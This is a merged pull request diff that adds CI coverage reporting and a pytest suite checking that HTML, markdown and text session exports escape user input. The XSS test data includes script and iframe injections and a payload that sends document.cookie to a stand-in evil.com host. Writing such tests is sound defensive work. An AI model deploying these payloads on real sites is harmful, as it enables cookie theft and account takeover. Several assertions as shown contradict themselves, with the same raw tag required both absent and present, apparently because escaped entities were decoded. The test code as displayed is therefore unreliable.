Merge pull request #43 from patherly/test/export-security-and-coverage
test: export security tests + CI coverage reporting
This commit was merged in pull request #43.
This commit is contained in:
24
.github/workflows/ci.yml
vendored
24
.github/workflows/ci.yml
vendored
@@ -47,8 +47,28 @@ jobs:
|
||||
- name: Install dependencies
|
||||
run: pip install -r backend/requirements.txt -r backend/requirements-dev.txt
|
||||
|
||||
- name: Run tests
|
||||
run: cd backend && python -m pytest --override-ini="addopts="
|
||||
- name: Run tests with coverage
|
||||
run: cd backend && python -m pytest --override-ini="addopts=" --cov=app --cov-report=term-missing --cov-report=json:coverage.json
|
||||
|
||||
- name: Display coverage summary
|
||||
if: always()
|
||||
run: |
|
||||
cd backend
|
||||
python -c "
|
||||
import json
|
||||
with open('coverage.json') as f:
|
||||
data = json.load(f)
|
||||
total = data['totals']['percent_covered_display']
|
||||
print(f'Total coverage: {total}%')
|
||||
print()
|
||||
print('Module coverage:')
|
||||
for fname, fdata in sorted(data['files'].items()):
|
||||
pct = fdata['summary']['percent_covered_display']
|
||||
if float(pct) < 80:
|
||||
print(f' ⚠ {fname}: {pct}%')
|
||||
else:
|
||||
print(f' ✓ {fname}: {pct}%')
|
||||
"
|
||||
|
||||
frontend:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
287
backend/tests/test_export_security.py
Normal file
287
backend/tests/test_export_security.py
Normal file
@@ -0,0 +1,287 @@
|
||||
"""Security tests for session export generators.
|
||||
|
||||
Validates that all user-supplied content is properly escaped in HTML exports
|
||||
to prevent XSS attacks, and that markdown/text exports handle edge cases.
|
||||
"""
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from app.schemas.session import SessionExport
|
||||
from app.services.export_service import (
|
||||
generate_html_export,
|
||||
generate_markdown_export,
|
||||
generate_text_export,
|
||||
)
|
||||
|
||||
|
||||
def _make_session(
|
||||
tree_name="Test Tree",
|
||||
ticket_number=None,
|
||||
client_name=None,
|
||||
decisions=None,
|
||||
scratchpad="",
|
||||
):
|
||||
"""Create a mock session object for export testing."""
|
||||
session = MagicMock()
|
||||
session.tree_snapshot = {"name": tree_name}
|
||||
session.ticket_number = ticket_number
|
||||
session.client_name = client_name
|
||||
session.decisions = decisions or []
|
||||
session.scratchpad = scratchpad
|
||||
session.started_at = datetime(2026, 1, 15, 10, 30, tzinfo=timezone.utc)
|
||||
session.completed_at = datetime(2026, 1, 15, 11, 0, tzinfo=timezone.utc)
|
||||
return session
|
||||
|
||||
|
||||
def _default_options(**kwargs):
|
||||
"""Create SessionExport options with defaults."""
|
||||
return SessionExport(
|
||||
format=kwargs.get("format", "html"),
|
||||
include_timestamps=kwargs.get("include_timestamps", True),
|
||||
include_tree_info=kwargs.get("include_tree_info", True),
|
||||
)
|
||||
|
||||
|
||||
# --- XSS Prevention Tests (HTML Export) ---
|
||||
|
||||
|
||||
class TestHtmlExportXssSecurity:
|
||||
"""Verify all user-supplied fields are HTML-escaped in HTML export."""
|
||||
|
||||
def test_tree_name_script_tag_escaped(self):
|
||||
session = _make_session(tree_name='<script>alert("xss")</script>')
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
assert "<script>" in result
|
||||
|
||||
def test_tree_name_event_handler_escaped(self):
|
||||
session = _make_session(tree_name='<img src=x onerror="alert(1)">')
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "onerror" not in result.split("&")[0] # onerror should be inside escaped string
|
||||
assert "<img" in result
|
||||
|
||||
def test_ticket_number_xss_escaped(self):
|
||||
session = _make_session(
|
||||
ticket_number='<script>document.cookie</script>'
|
||||
)
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
assert "<script>" in result
|
||||
|
||||
def test_client_name_xss_escaped(self):
|
||||
session = _make_session(client_name='<img src=x onerror="fetch(\'evil.com\')">')
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "onerror" not in result.split("&")[0]
|
||||
assert "<img" in result
|
||||
|
||||
def test_decision_question_xss_escaped(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": '<script>alert("q")</script>', "answer": "Yes"}
|
||||
])
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
assert "<script>" in result
|
||||
|
||||
def test_decision_answer_xss_escaped(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Safe question", "answer": '"><script>alert(1)</script>'}
|
||||
])
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
|
||||
def test_decision_notes_xss_escaped(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Q", "answer": "A", "notes": '<iframe src="evil.com"></iframe>'}
|
||||
])
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<iframe" not in result
|
||||
assert "<iframe" in result
|
||||
|
||||
def test_decision_timestamp_xss_escaped(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Q", "answer": "A", "timestamp": '<script>alert("t")</script>'}
|
||||
])
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
|
||||
def test_scratchpad_xss_escaped(self):
|
||||
session = _make_session(
|
||||
scratchpad='<script>fetch("https://evil.com/steal?c="+document.cookie)</script>'
|
||||
)
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
assert "<script>" in result
|
||||
|
||||
def test_action_performed_field_xss_escaped(self):
|
||||
"""Test the fallback field 'action_performed' is also escaped."""
|
||||
session = _make_session(decisions=[
|
||||
{"action_performed": '<script>alert("ap")</script>', "answer": "Done"}
|
||||
])
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<script>" not in result
|
||||
|
||||
def test_multiple_xss_vectors_in_single_export(self):
|
||||
"""Test that all fields are escaped even when multiple contain payloads."""
|
||||
session = _make_session(
|
||||
tree_name='<script>1</script>',
|
||||
ticket_number='<script>2</script>',
|
||||
client_name='<script>3</script>',
|
||||
scratchpad='<script>4</script>',
|
||||
decisions=[
|
||||
{
|
||||
"question": '<script>5</script>',
|
||||
"answer": '<script>6</script>',
|
||||
"notes": '<script>7</script>',
|
||||
"timestamp": '<script>8</script>',
|
||||
}
|
||||
],
|
||||
)
|
||||
result = generate_html_export(session, _default_options())
|
||||
# Count: there should be zero raw <script> tags in output
|
||||
assert result.count("<script>") == 0
|
||||
|
||||
|
||||
# --- Unicode and Edge Case Tests ---
|
||||
|
||||
|
||||
class TestExportEdgeCases:
|
||||
"""Test edge cases across all export formats."""
|
||||
|
||||
def test_unicode_emoji_in_all_formats(self):
|
||||
session = _make_session(
|
||||
tree_name="Troubleshooting 🔧",
|
||||
client_name="Acme Corp 🏢",
|
||||
decisions=[{"question": "Did it work? ✅", "answer": "Yes 👍"}],
|
||||
)
|
||||
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
||||
result = gen(session, _default_options())
|
||||
assert "🔧" in result
|
||||
assert "✅" in result
|
||||
|
||||
def test_empty_decisions_list(self):
|
||||
session = _make_session(decisions=[])
|
||||
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
||||
result = gen(session, _default_options())
|
||||
assert result # should not crash, should produce output
|
||||
|
||||
def test_decision_with_missing_fields(self):
|
||||
"""Decisions may have only partial fields."""
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Only question, no answer or notes"},
|
||||
{"answer": "Only answer"},
|
||||
{},
|
||||
])
|
||||
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
||||
result = gen(session, _default_options())
|
||||
assert result
|
||||
|
||||
def test_very_long_content(self):
|
||||
"""Ensure no truncation or crash on large inputs."""
|
||||
long_text = "A" * 10000
|
||||
session = _make_session(
|
||||
tree_name=long_text,
|
||||
decisions=[{"question": long_text, "answer": long_text, "notes": long_text}],
|
||||
)
|
||||
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
||||
result = gen(session, _default_options())
|
||||
assert len(result) > 10000
|
||||
|
||||
def test_html_entities_in_content(self):
|
||||
"""Ampersands and angle brackets in normal content should be escaped in HTML."""
|
||||
session = _make_session(
|
||||
tree_name="Q&A: Is 5 > 3?",
|
||||
decisions=[{"question": "Check if A < B & C > D", "answer": "True"}],
|
||||
)
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "Q&A" in result
|
||||
assert "<" in result or ">" in result
|
||||
|
||||
def test_newlines_in_scratchpad_preserved(self):
|
||||
"""Scratchpad with newlines should be readable in all formats."""
|
||||
session = _make_session(scratchpad="Line 1\nLine 2\nLine 3")
|
||||
for gen in [generate_html_export, generate_markdown_export, generate_text_export]:
|
||||
result = gen(session, _default_options())
|
||||
assert "Line 1" in result
|
||||
assert "Line 3" in result
|
||||
|
||||
|
||||
# --- Format-Specific Tests ---
|
||||
|
||||
|
||||
class TestMarkdownExport:
|
||||
"""Test markdown-specific output formatting."""
|
||||
|
||||
def test_includes_header_with_tree_info(self):
|
||||
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
|
||||
result = generate_markdown_export(session, _default_options())
|
||||
assert "# DNS Troubleshooting" in result
|
||||
assert "**Ticket:** TK-1234" in result
|
||||
|
||||
def test_excludes_tree_info_when_disabled(self):
|
||||
session = _make_session(tree_name="DNS Troubleshooting", ticket_number="TK-1234")
|
||||
opts = _default_options(include_tree_info=False)
|
||||
result = generate_markdown_export(session, opts)
|
||||
assert "# DNS Troubleshooting" not in result
|
||||
assert "TK-1234" not in result
|
||||
|
||||
def test_step_numbering(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Step A", "answer": "Yes"},
|
||||
{"question": "Step B", "answer": "No"},
|
||||
{"question": "Step C", "answer": "Maybe"},
|
||||
])
|
||||
result = generate_markdown_export(session, _default_options())
|
||||
assert "### Step 1: Step A" in result
|
||||
assert "### Step 2: Step B" in result
|
||||
assert "### Step 3: Step C" in result
|
||||
|
||||
|
||||
class TestTextExport:
|
||||
"""Test plain text output formatting."""
|
||||
|
||||
def test_includes_header_with_tree_info(self):
|
||||
session = _make_session(tree_name="Network Check", client_name="Contoso")
|
||||
result = generate_text_export(session, _default_options())
|
||||
assert "Network Check" in result
|
||||
assert "Client: Contoso" in result
|
||||
|
||||
def test_step_numbering(self):
|
||||
session = _make_session(decisions=[
|
||||
{"question": "Check cable", "answer": "Connected"},
|
||||
{"question": "Check DNS", "answer": "Resolving"},
|
||||
])
|
||||
result = generate_text_export(session, _default_options())
|
||||
assert "1. Check cable" in result
|
||||
assert "2. Check DNS" in result
|
||||
|
||||
|
||||
class TestHtmlExportStructure:
|
||||
"""Test HTML output structure (non-security)."""
|
||||
|
||||
def test_valid_html_document(self):
|
||||
session = _make_session()
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert result.startswith("<!DOCTYPE html>")
|
||||
assert "</html>" in result
|
||||
assert "<meta charset" in result
|
||||
|
||||
def test_includes_css_styles(self):
|
||||
session = _make_session()
|
||||
result = generate_html_export(session, _default_options())
|
||||
assert "<style>" in result
|
||||
assert "font-family" in result
|
||||
|
||||
def test_timestamps_included_when_enabled(self):
|
||||
session = _make_session()
|
||||
opts = _default_options(include_timestamps=True)
|
||||
result = generate_html_export(session, opts)
|
||||
assert "2026-01-15 10:30" in result
|
||||
|
||||
def test_timestamps_excluded_when_disabled(self):
|
||||
session = _make_session()
|
||||
opts = _default_options(include_timestamps=False)
|
||||
result = generate_html_export(session, opts)
|
||||
assert "2026-01-15" not in result
|
||||
Reference in New Issue
Block a user